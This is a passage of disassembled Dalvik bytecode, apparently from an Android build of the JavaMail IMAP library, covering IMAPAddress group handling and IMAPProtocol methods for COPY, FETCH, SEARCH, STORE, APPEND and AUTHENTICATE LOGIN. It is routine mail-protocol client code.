0000014C  invoke-virtual          String->length()I, v1
00000152  move-result             v2
00000154  if-nez                  v2, :15E
:158
00000158  iput-object             v0, p0, IMAPAddress->address:String
0000015C  goto                    :8A
:15E
0000015E  new-instance            v2, StringBuilder
00000162  invoke-static           String->valueOf(Object)String, v0
00000168  move-result-object      v0
0000016A  invoke-direct           StringBuilder-><init>(String)V, v2, v0
00000170  const-string            v0, "@"
00000174  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
0000017A  move-result-object      v0
0000017C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000182  move-result-object      v0
00000184  invoke-virtual          StringBuilder->toString()String, v0
0000018A  move-result-object      v0
0000018C  iput-object             v0, p0, IMAPAddress->address:String
00000190  goto/16                 :8A
.end method

.method public getGroup(Z)[InternetAddress
          .registers 3
00000000  iget-object             v0, p0, IMAPAddress->grouplist:[InternetAddress
00000004  if-nez                  v0, :C
:8
00000008  const/4                 v0, 0x0
:A
0000000A  return-object           v0
:C
0000000C  iget-object             v0, p0, IMAPAddress->grouplist:[InternetAddress
00000010  invoke-virtual          [InternetAddress->clone()Object, v0
00000016  move-result-object      v0
00000018  check-cast              v0, [InternetAddress
0000001C  goto                    :A
.end method

.method isEndOfGroup()Z
          .registers 2
00000000  iget-boolean            v0, p0, IMAPAddress->group:Z
00000004  if-eqz                  v0, :14
:8
00000008  iget-object             v0, p0, IMAPAddress->groupname:String
0000000C  if-nez                  v0, :14
:10
00000010  const/4                 v0, 0x1
:12
00000012  return                  v0
:14
00000014  const/4                 v0, 0x0
00000016  goto                    :12
.end method

.method public isGroup()Z
          .registers 2
00000000  iget-boolean            v0, p0, IMAPAddress->group:Z
00000004  return                  v0
.end method

#--------------------------------------------------------------------------------
.class public IMAPProtocol
.super Protocol
.source ""

.field private static final CRLF:[B
.field private static final DONE:[B
.field private authenticated:Z
.field private authmechs:List
.field private ba:ByteArray
.field private capabilities:Map
.field private connected:Z
.field private idleTag:String
.field private name:String
.field private rev1:Z
.field private saslAuthenticator:SaslAuthenticator
.field private searchCharsets:[String

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x2
00000002  new-array               v0, v0, [B
00000006  fill-array-data         v0, :24
0000000C  sput-object             v0, IMAPProtocol->CRLF:[B
00000010  const/4                 v0, 0x6
00000012  new-array               v0, v0, [B
00000016  fill-array-data         v0, :30
0000001C  sput-object             v0, IMAPProtocol->DONE:[B
00000020  return-void
00000024  .array-data 1 x 0x2
              0xD
              0xA
          .end array-data
00000030  .array-data 1 x 0x6
              0x44
              0x4F
              0x4E
              0x45
              0xD
              0xA
          .end array-data
.end method

.method public constructor <init>(String, String, I, Z, PrintStream, Properties, Z)V
          .registers 16
00000000  new-instance            v0, StringBuilder
00000004  const-string            v1, "mail."
00000008  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000000E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000014  move-result-object      v0
00000016  invoke-virtual          StringBuilder->toString()String, v0
0000001C  move-result-object      v6
0000001E  move-object             v0, p0
00000020  move-object             v1, p2
00000022  move                    v2, p3
00000024  move                    v3, p4
00000026  move-object             v4, p5
00000028  move-object             v5, p6
0000002A  move                    v7, p7
0000002C  invoke-direct/range     Protocol-><init>(String, I, Z, PrintStream, Properties, String, Z)V, v0 .. v7
00000032  const/4                 v0, 0x0
00000034  iput-boolean            v0, p0, IMAPProtocol->connected:Z
00000038  const/4                 v0, 0x0
0000003A  iput-boolean            v0, p0, IMAPProtocol->rev1:Z
0000003E  const/4                 v0, 0x0
00000040  iput-object             v0, p0, IMAPProtocol->capabilities:Map
00000044  const/4                 v0, 0x0
00000046  iput-object             v0, p0, IMAPProtocol->authmechs:List
:4A
0000004A  iput-object             p1, p0, IMAPProtocol->name:String
0000004E  iget-object             v0, p0, IMAPProtocol->capabilities:Map
00000052  if-nez                  v0, :5C
:56
00000056  invoke-virtual          IMAPProtocol->capability()V, p0
:5C
0000005C  const-string            v0, "IMAP4rev1"
00000060  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p0, v0
00000066  move-result             v0
00000068  if-eqz                  v0, :72
:6C
0000006C  const/4                 v0, 0x1
0000006E  iput-boolean            v0, p0, IMAPProtocol->rev1:Z
:72
00000072  const/4                 v0, 0x2
00000074  new-array               v0, v0, [String
00000078  iput-object             v0, p0, IMAPProtocol->searchCharsets:[String
0000007C  iget-object             v0, p0, IMAPProtocol->searchCharsets:[String
00000080  const/4                 v1, 0x0
00000082  const-string            v2, "UTF-8"
00000086  aput-object             v2, v0, v1
0000008A  iget-object             v0, p0, IMAPProtocol->searchCharsets:[String
0000008E  const/4                 v1, 0x1
00000090  invoke-static           MimeUtility->getDefaultJavaCharset()String
00000096  move-result-object      v2
00000098  invoke-static           MimeUtility->mimeCharset(String)String, v2
0000009E  move-result-object      v2
000000A0  aput-object             v2, v0, v1
000000A4  const/4                 v0, 0x1
000000A6  iput-boolean            v0, p0, IMAPProtocol->connected:Z
:AA
000000AA  iget-boolean            v0, p0, IMAPProtocol->connected:Z
000000AE  if-nez                  v0, :B8
:B2
000000B2  invoke-virtual          IMAPProtocol->disconnect()V, p0
:B8
000000B8  return-void
:BA
000000BA  move-exception          v0
000000BC  iget-boolean            v1, p0, IMAPProtocol->connected:Z
000000C0  if-nez                  v1, :CA
:C4
000000C4  invoke-virtual          IMAPProtocol->disconnect()V, p0
:CA
000000CA  throw                   v0
          .catchall {:4A .. :AA} :BA
.end method

.method private copy(String, String)V
          .registers 5
00000000  invoke-static           BASE64MailboxEncoder->encode(String)String, p2
00000006  move-result-object      v0
00000008  new-instance            v1, Argument
0000000C  invoke-direct           Argument-><init>()V, v1
00000012  invoke-virtual          Argument->writeAtom(String)V, v1, p1
00000018  invoke-virtual          Argument->writeString(String)V, v1, v0
0000001E  const-string            v0, "COPY"
00000022  invoke-virtual          IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
00000028  return-void
.end method

.method private createFlagList(Flags)String
          .registers 10
00000000  const/16                v7, 0x20
00000004  const/4                 v1, 0x0
00000006  new-instance            v4, StringBuffer
0000000A  invoke-direct           StringBuffer-><init>()V, v4
00000010  const-string            v0, "("
00000014  invoke-virtual          StringBuffer->append(String)StringBuffer, v4, v0
0000001A  invoke-virtual          Flags->getSystemFlags()[Flags$Flag, p1
00000020  move-result-object      v5
00000022  const/4                 v0, 0x1
00000024  move                    v2, v0
00000026  move                    v0, v1
:28
00000028  array-length            v3, v5
0000002A  if-lt                   v0, v3, :52
:2E
0000002E  invoke-virtual          Flags->getUserFlags()[String, p1
00000034  move-result-object      v3
00000036  move                    v0, v1
:38
00000038  array-length            v5, v3
0000003A  if-lt                   v0, v5, :C2
:3E
0000003E  const-string            v0, ")"
00000042  invoke-virtual          StringBuffer->append(String)StringBuffer, v4, v0
00000048  invoke-virtual          StringBuffer->toString()String, v4
0000004E  move-result-object      v0
00000050  return-object           v0
:52
00000052  aget-object             v3, v5, v0
00000056  sget-object             v6, Flags$Flag->ANSWERED:Flags$Flag
0000005A  if-ne                   v3, v6, :74
:5E
0000005E  const-string            v3, "\\Answered"
:62
00000062  if-eqz                  v2, :BA
:66
00000066  move                    v2, v1
:68
00000068  invoke-virtual          StringBuffer->append(String)StringBuffer, v4, v3
:6E
0000006E  add-int/lit8            v0, v0, 0x1
00000072  goto                    :28
:74
00000074  sget-object             v6, Flags$Flag->DELETED:Flags$Flag
00000078  if-ne                   v3, v6, :82
:7C
0000007C  const-string            v3, "\\Deleted"
00000080  goto                    :62
:82
00000082  sget-object             v6, Flags$Flag->DRAFT:Flags$Flag
00000086  if-ne                   v3, v6, :90
:8A
0000008A  const-string            v3, "\\Draft"
0000008E  goto                    :62
:90
00000090  sget-object             v6, Flags$Flag->FLAGGED:Flags$Flag
00000094  if-ne                   v3, v6, :9E
:98
00000098  const-string            v3, "\\Flagged"
0000009C  goto                    :62
:9E
0000009E  sget-object             v6, Flags$Flag->RECENT:Flags$Flag
000000A2  if-ne                   v3, v6, :AC
:A6
000000A6  const-string            v3, "\\Recent"
000000AA  goto                    :62
:AC
000000AC  sget-object             v6, Flags$Flag->SEEN:Flags$Flag
000000B0  if-ne                   v3, v6, :6E
:B4
000000B4  const-string            v3, "\\Seen"
000000B8  goto                    :62
:BA
000000BA  invoke-virtual          StringBuffer->append(C)StringBuffer, v4, v7
000000C0  goto                    :68
:C2
000000C2  if-eqz                  v2, :D8
:C6
000000C6  move                    v2, v1
:C8
000000C8  aget-object             v5, v3, v0
000000CC  invoke-virtual          StringBuffer->append(String)StringBuffer, v4, v5
000000D2  add-int/lit8            v0, v0, 0x1
000000D6  goto                    :38
:D8
000000D8  invoke-virtual          StringBuffer->append(C)StringBuffer, v4, v7
000000DE  goto                    :C8
.end method

.method private doList(String, String, String)[ListInfo
          .registers 13
00000000  const/4                 v1, 0x0
00000002  invoke-static           BASE64MailboxEncoder->encode(String)String, p2
00000008  move-result-object      v0
0000000A  invoke-static           BASE64MailboxEncoder->encode(String)String, p3
00000010  move-result-object      v2
00000012  new-instance            v3, Argument
00000016  invoke-direct           Argument-><init>()V, v3
0000001C  invoke-virtual          Argument->writeString(String)V, v3, v0
00000022  invoke-virtual          Argument->writeString(String)V, v3, v2
00000028  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, p1, v3
0000002E  move-result-object      v4
00000030  move-object             v0, v1
00000032  check-cast              v0, [ListInfo
00000036  array-length            v2, v4
00000038  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
0000003C  aget-object             v5, v4, v2
00000040  invoke-virtual          Response->isOK()Z, v5
00000046  move-result             v2
00000048  if-eqz                  v2, :80
:4C
0000004C  new-instance            v6, Vector
00000050  const/4                 v2, 0x1
00000052  invoke-direct           Vector-><init>(I)V, v6, v2
00000058  const/4                 v2, 0x0
0000005A  array-length            v7, v4
0000005C  move                    v3, v2
:5E
0000005E  if-lt                   v3, v7, :8E
:62
00000062  invoke-virtual          Vector->size()I, v6
00000068  move-result             v1
0000006A  if-lez                  v1, :80
:6E
0000006E  invoke-virtual          Vector->size()I, v6
00000074  move-result             v0
00000076  new-array               v0, v0, [ListInfo
0000007A  invoke-virtual          Vector->copyInto([Object)V, v6, v0
:80
00000080  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v4
00000086  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v5
0000008C  return-object           v0
:8E
0000008E  aget-object             v2, v4, v3
00000092  instance-of             v2, v2, IMAPResponse
00000096  if-nez                  v2, :A2
:9A
0000009A  add-int/lit8            v2, v3, 0x1
0000009E  move                    v3, v2
000000A0  goto                    :5E
:A2
000000A2  aget-object             v2, v4, v3
000000A6  check-cast              v2, IMAPResponse
000000AA  invoke-virtual          IMAPResponse->keyEquals(String)Z, v2, p1
000000B0  move-result             v8
000000B2  if-eqz                  v8, :9A
:B6
000000B6  new-instance            v8, ListInfo
000000BA  invoke-direct           ListInfo-><init>(IMAPResponse)V, v8, v2
000000C0  invoke-virtual          Vector->addElement(Object)V, v6, v8
000000C6  aput-object             v1, v4, v3
000000CA  goto                    :9A
.end method

.method private fetch(String, String, Z)[Response
          .registers 7
00000000  const/4                 v2, 0x0
00000002  if-eqz                  p3, :4E
:6
00000006  new-instance            v0, StringBuilder
0000000A  const-string            v1, "UID FETCH "
0000000E  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000014  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
0000001A  move-result-object      v0
0000001C  const-string            v1, " ("
00000020  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000026  move-result-object      v0
00000028  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p2
0000002E  move-result-object      v0
00000030  const-string            v1, ")"
00000034  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000003A  move-result-object      v0
0000003C  invoke-virtual          StringBuilder->toString()String, v0
00000042  move-result-object      v0
00000044  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v2
0000004A  move-result-object      v0
:4C
0000004C  return-object           v0
:4E
0000004E  new-instance            v0, StringBuilder
00000052  const-string            v1, "FETCH "
00000056  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000005C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000062  move-result-object      v0
00000064  const-string            v1, " ("
00000068  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000006E  move-result-object      v0
00000070  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p2
00000076  move-result-object      v0
00000078  const-string            v1, ")"
0000007C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000082  move-result-object      v0
00000084  invoke-virtual          StringBuilder->toString()String, v0
0000008A  move-result-object      v0
0000008C  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v2
00000092  move-result-object      v0
00000094  goto                    :4C
.end method

.method private getAppendUID(Response)AppendUID
          .registers 7
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          Response->isOK()Z, p1
00000008  move-result             v1
0000000A  if-nez                  v1, :10
:E
0000000E  return-object           v0
:10
00000010  invoke-virtual          Response->readByte()B, p1
00000016  move-result             v1
00000018  if-lez                  v1, :24
:1C
0000001C  const/16                v2, 0x5B
00000020  if-ne                   v1, v2, :10
:24
00000024  if-eqz                  v1, :E
:28
00000028  invoke-virtual          Response->readAtom()String, p1
0000002E  move-result-object      v1
00000030  const-string            v2, "APPENDUID"
00000034  invoke-virtual          String->equalsIgnoreCase(String)Z, v1, v2
0000003A  move-result             v1
0000003C  if-eqz                  v1, :E
:40
00000040  invoke-virtual          Response->readLong()J, p1
00000046  move-result-wide        v1
00000048  invoke-virtual          Response->readLong()J, p1
0000004E  move-result-wide        v3
00000050  new-instance            v0, AppendUID
00000054  invoke-direct           AppendUID-><init>(J, J)V, v0, v1, v2, v3, v4
0000005A  goto                    :E
.end method

.method private issueSearch(String, SearchTerm, String)[I
          .registers 14
00000000  const/4                 v3, 0x0
00000002  const/4                 v1, 0x0
00000004  if-nez                  p3, :78
:8
00000008  move-object             v0, v1
:A
0000000A  invoke-static           SearchSequence->generateSequence(SearchTerm, String)Argument, p2, v0
00000010  move-result-object      v0
00000012  invoke-virtual          Argument->writeAtom(String)V, v0, p1
00000018  if-nez                  p3, :82
:1C
0000001C  const-string            v2, "SEARCH"
00000020  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v2, v0
00000026  move-result-object      v0
00000028  move-object             v2, v0
:2A
0000002A  array-length            v0, v2
0000002C  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000030  aget-object             v5, v2, v0
00000034  move-object             v0, v1
00000036  check-cast              v0, [I
0000003A  invoke-virtual          Response->isOK()Z, v5
00000040  move-result             v4
00000042  if-eqz                  v4, :6A
:46
00000046  new-instance            v6, Vector
0000004A  invoke-direct           Vector-><init>()V, v6
00000050  array-length            v7, v2
00000052  move                    v4, v3
:54
00000054  if-lt                   v4, v7, :AC
:58
00000058  invoke-virtual          Vector->size()I, v6
0000005E  move-result             v4
00000060  new-array               v1, v4, [I
:64
00000064  if-lt                   v3, v4, :FE
:68
00000068  move-object             v0, v1
:6A
0000006A  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v2
00000070  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v5
00000076  return-object           v0
:78
00000078  invoke-static           MimeUtility->javaCharset(String)String, p3
0000007E  move-result-object      v0
00000080  goto                    :A
:82
00000082  new-instance            v2, StringBuilder
00000086  const-string            v4, "SEARCH CHARSET "
0000008A  invoke-direct           StringBuilder-><init>(String)V, v2, v4
00000090  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p3
00000096  move-result-object      v2
00000098  invoke-virtual          StringBuilder->toString()String, v2
0000009E  move-result-object      v2
000000A0  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v2, v0
000000A6  move-result-object      v0
000000A8  move-object             v2, v0
000000AA  goto                    :2A
:AC
000000AC  aget-object             v0, v2, v4
000000B0  instance-of             v0, v0, IMAPResponse
000000B4  if-nez                  v0, :C0
:B8
000000B8  add-int/lit8            v0, v4, 0x1
000000BC  move                    v4, v0
000000BE  goto                    :54
:C0
000000C0  aget-object             v0, v2, v4
000000C4  check-cast              v0, IMAPResponse
000000C8  const-string            v8, "SEARCH"
000000CC  invoke-virtual          IMAPResponse->keyEquals(String)Z, v0, v8
000000D2  move-result             v8
000000D4  if-eqz                  v8, :B8
:D8
000000D8  invoke-virtual          IMAPResponse->readNumber()I, v0
000000DE  move-result             v8
000000E0  const/4                 v9, 0xFFFFFFFFFFFFFFFF
000000E2  if-ne                   v8, v9, :EC
:E6
000000E6  aput-object             v1, v2, v4
000000EA  goto                    :B8
:EC
000000EC  new-instance            v9, Integer
000000F0  invoke-direct           Integer-><init>(I)V, v9, v8
000000F6  invoke-virtual          Vector->addElement(Object)V, v6, v9
000000FC  goto                    :D8
:FE
000000FE  invoke-virtual          Vector->elementAt(I)Object, v6, v3
00000104  move-result-object      v0
00000106  check-cast              v0, Integer
0000010A  invoke-virtual          Integer->intValue()I, v0
00000110  move-result             v0
00000112  aput                    v0, v1, v3
00000116  add-int/lit8            v0, v3, 0x1
0000011A  move                    v3, v0
0000011C  goto                    :64
.end method

.method private parseQuota(Response)Quota
          .registers 10
00000000  invoke-virtual          Response->readAtomString()String, p1
00000006  move-result-object      v0
00000008  new-instance            v6, Quota
0000000C  invoke-direct           Quota-><init>(String)V, v6, v0
00000012  invoke-virtual          Response->skipSpaces()V, p1
00000018  invoke-virtual          Response->readByte()B, p1
0000001E  move-result             v0
00000020  const/16                v1, 0x28
00000024  if-eq                   v0, v1, :38
:28
00000028  new-instance            v0, ParsingException
0000002C  const-string            v1, "parse error in QUOTA"
00000030  invoke-direct           ParsingException-><init>(String)V, v0, v1
00000036  throw                   v0
:38
00000038  new-instance            v7, Vector
0000003C  invoke-direct           Vector-><init>()V, v7
:42
00000042  invoke-virtual          Response->peekByte()B, p1
00000048  move-result             v0
0000004A  const/16                v1, 0x29
0000004E  if-ne                   v0, v1, :74
:52
00000052  invoke-virtual          Response->readByte()B, p1
00000058  invoke-virtual          Vector->size()I, v7
0000005E  move-result             v0
00000060  new-array               v0, v0, [Quota$Resource
00000064  iput-object             v0, v6, Quota->resources:[Quota$Resource
00000068  iget-object             v0, v6, Quota->resources:[Quota$Resource
0000006C  invoke-virtual          Vector->copyInto([Object)V, v7, v0
00000072  return-object           v6
:74
00000074  invoke-virtual          Response->readAtom()String, p1
0000007A  move-result-object      v1
0000007C  if-eqz                  v1, :42
:80
00000080  invoke-virtual          Response->readLong()J, p1
00000086  move-result-wide        v2
00000088  invoke-virtual          Response->readLong()J, p1
0000008E  move-result-wide        v4
00000090  new-instance            v0, Quota$Resource
00000094  invoke-direct/range     Quota$Resource-><init>(String, J, J)V, v0 .. v5
0000009A  invoke-virtual          Vector->addElement(Object)V, v7, v0
000000A0  goto                    :42
.end method

.method private search(String, SearchTerm)[I
          .registers 6
00000000  const/4                 v2, 0x0
00000002  invoke-static           SearchSequence->isAscii(SearchTerm)Z, p2
00000008  move-result             v0
0000000A  if-eqz                  v0, :1C
:E
0000000E  const/4                 v0, 0x0
:10
00000010  invoke-direct           IMAPProtocol->issueSearch(String, SearchTerm, String)[I, p0, p1, p2, v0
:16
00000016  move-result-object      v0
:18
00000018  return-object           v0
:1A
0000001A  move-exception          v0
:1C
0000001C  const/4                 v0, 0x0
:1E
0000001E  iget-object             v1, p0, IMAPProtocol->searchCharsets:[String
00000022  array-length            v1, v1
00000024  if-lt                   v0, v1, :38
:28
00000028  new-instance            v0, SearchException
0000002C  const-string            v1, "Search failed"
00000030  invoke-direct           SearchException-><init>(String)V, v0, v1
00000036  throw                   v0
:38
00000038  iget-object             v1, p0, IMAPProtocol->searchCharsets:[String
0000003C  aget-object             v1, v1, v0
00000040  if-nez                  v1, :4A
:44
00000044  add-int/lit8            v0, v0, 0x1
00000048  goto                    :1E
:4A
0000004A  iget-object             v1, p0, IMAPProtocol->searchCharsets:[String
0000004E  aget-object             v1, v1, v0
00000052  invoke-direct           IMAPProtocol->issueSearch(String, SearchTerm, String)[I, p0, p1, p2, v1
:58
00000058  move-result-object      v0
0000005A  goto                    :18
:5C
0000005C  move-exception          v1
0000005E  iget-object             v1, p0, IMAPProtocol->searchCharsets:[String
00000062  aput-object             v2, v1, v0
00000066  goto                    :44
:68
00000068  move-exception          v0
0000006A  throw                   v0
:6C
0000006C  move-exception          v0
0000006E  throw                   v0
:70
00000070  move-exception          v1
00000072  goto                    :44
          .catch IOException {:10 .. :16} :1A
          .catch CommandFailedException {:4A .. :58} :5C
          .catch IOException {:4A .. :58} :70
          .catch ProtocolException {:4A .. :58} :68
          .catch SearchException {:4A .. :58} :6C
.end method

.method private storeFlags(String, Flags, Z)V
          .registers 7
00000000  const/4                 v2, 0x0
00000002  if-eqz                  p3, :60
:6
00000006  new-instance            v0, StringBuilder
0000000A  const-string            v1, "STORE "
0000000E  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000014  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
0000001A  move-result-object      v0
0000001C  const-string            v1, " +FLAGS "
00000020  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000026  move-result-object      v0
00000028  invoke-direct           IMAPProtocol->createFlagList(Flags)String, p0, p2
0000002E  move-result-object      v1
00000030  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000036  move-result-object      v0
00000038  invoke-virtual          StringBuilder->toString()String, v0
0000003E  move-result-object      v0
00000040  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v2
00000046  move-result-object      v0
:48
00000048  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000004E  array-length            v1, v0
00000050  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000054  aget-object             v0, v0, v1
00000058  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v0
0000005E  return-void
:60
00000060  new-instance            v0, StringBuilder
00000064  const-string            v1, "STORE "
00000068  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000006E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000074  move-result-object      v0
00000076  const-string            v1, " -FLAGS "
0000007A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000080  move-result-object      v0
00000082  invoke-direct           IMAPProtocol->createFlagList(Flags)String, p0, p2
00000088  move-result-object      v1
0000008A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000090  move-result-object      v0
00000092  invoke-virtual          StringBuilder->toString()String, v0
00000098  move-result-object      v0
0000009A  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v2
000000A0  move-result-object      v0
000000A2  goto                    :48
.end method

.method public append(String, Flags, Date, Literal)V
          .registers 11
00000000  const/4                 v5, 0x0
00000002  move-object             v0, p0
00000004  move-object             v1, p1
00000006  move-object             v2, p2
00000008  move-object             v3, p3
0000000A  move-object             v4, p4
0000000C  invoke-virtual/range    IMAPProtocol->appenduid(String, Flags, Date, Literal, Z)AppendUID, v0 .. v5
00000012  return-void
.end method

.method public appenduid(String, Flags, Date, Literal)AppendUID
          .registers 11
00000000  const/4                 v5, 0x1
00000002  move-object             v0, p0
00000004  move-object             v1, p1
00000006  move-object             v2, p2
00000008  move-object             v3, p3
0000000A  move-object             v4, p4
0000000C  invoke-virtual/range    IMAPProtocol->appenduid(String, Flags, Date, Literal, Z)AppendUID, v0 .. v5
00000012  move-result-object      v0
00000014  return-object           v0
.end method

.method public appenduid(String, Flags, Date, Literal, Z)AppendUID
          .registers 9
00000000  invoke-static           BASE64MailboxEncoder->encode(String)String, p1
00000006  move-result-object      v0
00000008  new-instance            v1, Argument
0000000C  invoke-direct           Argument-><init>()V, v1
00000012  invoke-virtual          Argument->writeString(String)V, v1, v0
00000018  if-eqz                  p2, :50
:1C
0000001C  sget-object             v0, Flags$Flag->RECENT:Flags$Flag
00000020  invoke-virtual          Flags->contains(Flags$Flag)Z, p2, v0
00000026  move-result             v0
00000028  if-eqz                  v0, :42
:2C
0000002C  new-instance            v0, Flags
00000030  invoke-direct           Flags-><init>(Flags)V, v0, p2
00000036  sget-object             v2, Flags$Flag->RECENT:Flags$Flag
0000003A  invoke-virtual          Flags->remove(Flags$Flag)V, v0, v2
00000040  move-object             p2, v0
:42
00000042  invoke-direct           IMAPProtocol->createFlagList(Flags)String, p0, p2
00000048  move-result-object      v0
0000004A  invoke-virtual          Argument->writeAtom(String)V, v1, v0
:50
00000050  if-eqz                  p3, :62
:54
00000054  invoke-static           INTERNALDATE->format(Date)String, p3
0000005A  move-result-object      v0
0000005C  invoke-virtual          Argument->writeString(String)V, v1, v0
:62
00000062  invoke-virtual          Argument->writeBytes(Literal)V, v1, p4
00000068  const-string            v0, "APPEND"
0000006C  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000072  move-result-object      v0
00000074  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
0000007A  array-length            v1, v0
0000007C  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000080  aget-object             v1, v0, v1
00000084  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v1
0000008A  if-eqz                  p5, :A2
:8E
0000008E  array-length            v1, v0
00000090  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
00000094  aget-object             v0, v0, v1
00000098  invoke-direct           IMAPProtocol->getAppendUID(Response)AppendUID, p0, v0
0000009E  move-result-object      v0
:A0
000000A0  return-object           v0
:A2
000000A2  const/4                 v0, 0x0
000000A4  goto                    :A0
.end method

.method public declared-synchronized authlogin(String, String)V
          .registers 14
00000000  const/4                 v2, 0x0
00000002  const/4                 v1, 0x0
00000004  const/4                 v3, 0x1
00000006  monitor-enter           p0
:8
00000008  new-instance            v7, Vector
0000000C  invoke-direct           Vector-><init>()V, v7
:12
00000012  const-string            v0, "AUTHENTICATE LOGIN"
00000016  const/4                 v4, 0x0
00000018  invoke-virtual          IMAPProtocol->writeCommand(String, Argument)String, p0, v0, v4
:1E
0000001E  move-result-object      v0
00000020  move-object             v6, v0
00000022  move                    v0, v2
:24
00000024  invoke-virtual          IMAPProtocol->getOutputStream()OutputStream, p0
0000002A  move-result-object      v8
0000002C  new-instance            v9, ByteArrayOutputStream
00000030  invoke-direct           ByteArrayOutputStream-><init>()V, v9
00000036  new-instance            v10, BASE64EncoderStream
0000003A  const                   v4, 0x7FFFFFFF
00000040  invoke-direct           BASE64EncoderStream-><init>(OutputStream, I)V, v10, v9, v4
00000046  move                    v4, v0
00000048  move-object             v0, v1
0000004A  move                    v1, v3
:4C
0000004C  if-eqz                  v4, :90
:50
00000050  invoke-virtual          Vector->size()I, v7
00000056  move-result             v1
00000058  new-array               v1, v1, [Response
0000005C  invoke-virtual          Vector->copyInto([Object)V, v7, v1
00000062  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v1
00000068  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v0
0000006E  invoke-virtual          IMAPProtocol->setCapabilities(Response)V, p0, v0
00000074  const/4                 v0, 0x1
00000076  iput-boolean            v0, p0, IMAPProtocol->authenticated:Z
:7A
0000007A  monitor-exit            p0
0000007C  return-void
:7E
0000007E  move-exception          v0
:80
00000080  invoke-static           Response->byeResponse(Exception)Response, v0
:86
00000086  move-result-object      v0
00000088  move-object             v6, v1
0000008A  move-object             v1, v0
0000008C  move                    v0, v3
0000008E  goto                    :24
:90
00000090  invoke-virtual          IMAPProtocol->readResponse()Response, p0
00000096  move-result-object      v5
00000098  invoke-virtual          Response->isContinuation()Z, v5
0000009E  move-result             v0
000000A0  if-eqz                  v0, :EC
:A4
000000A4  if-eqz                  v1, :E8
:A8
000000A8  move-object             v0, p1
000000AA  move                    v1, v2
:AC
000000AC  invoke-static           ASCIIUtility->getBytes(String)[B, v0
000000B2  move-result-object      v0
000000B4  invoke-virtual          OutputStream->write([B)V, v10, v0
000000BA  invoke-virtual          OutputStream->flush()V, v10
000000C0  sget-object             v0, IMAPProtocol->CRLF:[B
000000C4  invoke-virtual          ByteArrayOutputStream->write([B)V, v9, v0
000000CA  invoke-virtual          ByteArrayOutputStream->toByteArray()[B, v9
000000D0  move-result-object      v0
000000D2  invoke-virtual          OutputStream->write([B)V, v8, v0
000000D8  invoke-virtual          OutputStream->flush()V, v8
000000DE  invoke-virtual          ByteArrayOutputStream->reset()V, v9
000000E4  move-object             v0, v5
000000E6  goto                    :4C
:E8
000000E8  move-object             v0, p2
000000EA  goto                    :AC
:EC
000000EC  invoke-virtual          Response->isTagged()Z, v5
000000F2  move-result             v0
000000F4  if-eqz                  v0, :112
:F8
000000F8  invoke-virtual          Response->getTag()String, v5
000000FE  move-result-object      v0
00000100  invoke-virtual          String->equals(Object)Z, v0, v6
00000106  move-result             v0
00000108  if-eqz                  v0, :112
:10C
0000010C  move                    v4, v3
0000010E  move-object             v0, v5
00000110  goto                    :4C
:112
00000112  invoke-virtual          Response->isBYE()Z, v5
00000118  move-result             v0
0000011A  if-eqz                  v0, :124
:11E
0000011E  move                    v4, v3
00000120  move-object             v0, v5
00000122  goto                    :4C
:124
00000124  invoke-virtual          Vector->addElement(Object)V, v7, v5
:12A
0000012A  move-object             v0, v5
0000012C  goto                    :4C
:12E
0000012E  move-exception          v0
:130
00000130  invoke-static           Response->byeResponse(Exception)Response, v0
:136
00000136  move-result-object      v0
00000138  move                    v4, v3
0000013A  goto                    :4C
:13C
0000013C  move-exception          v0
0000013E  monitor-exit            p0
00000140  throw                   v0
          .catchall {:8 .. :12} :13C
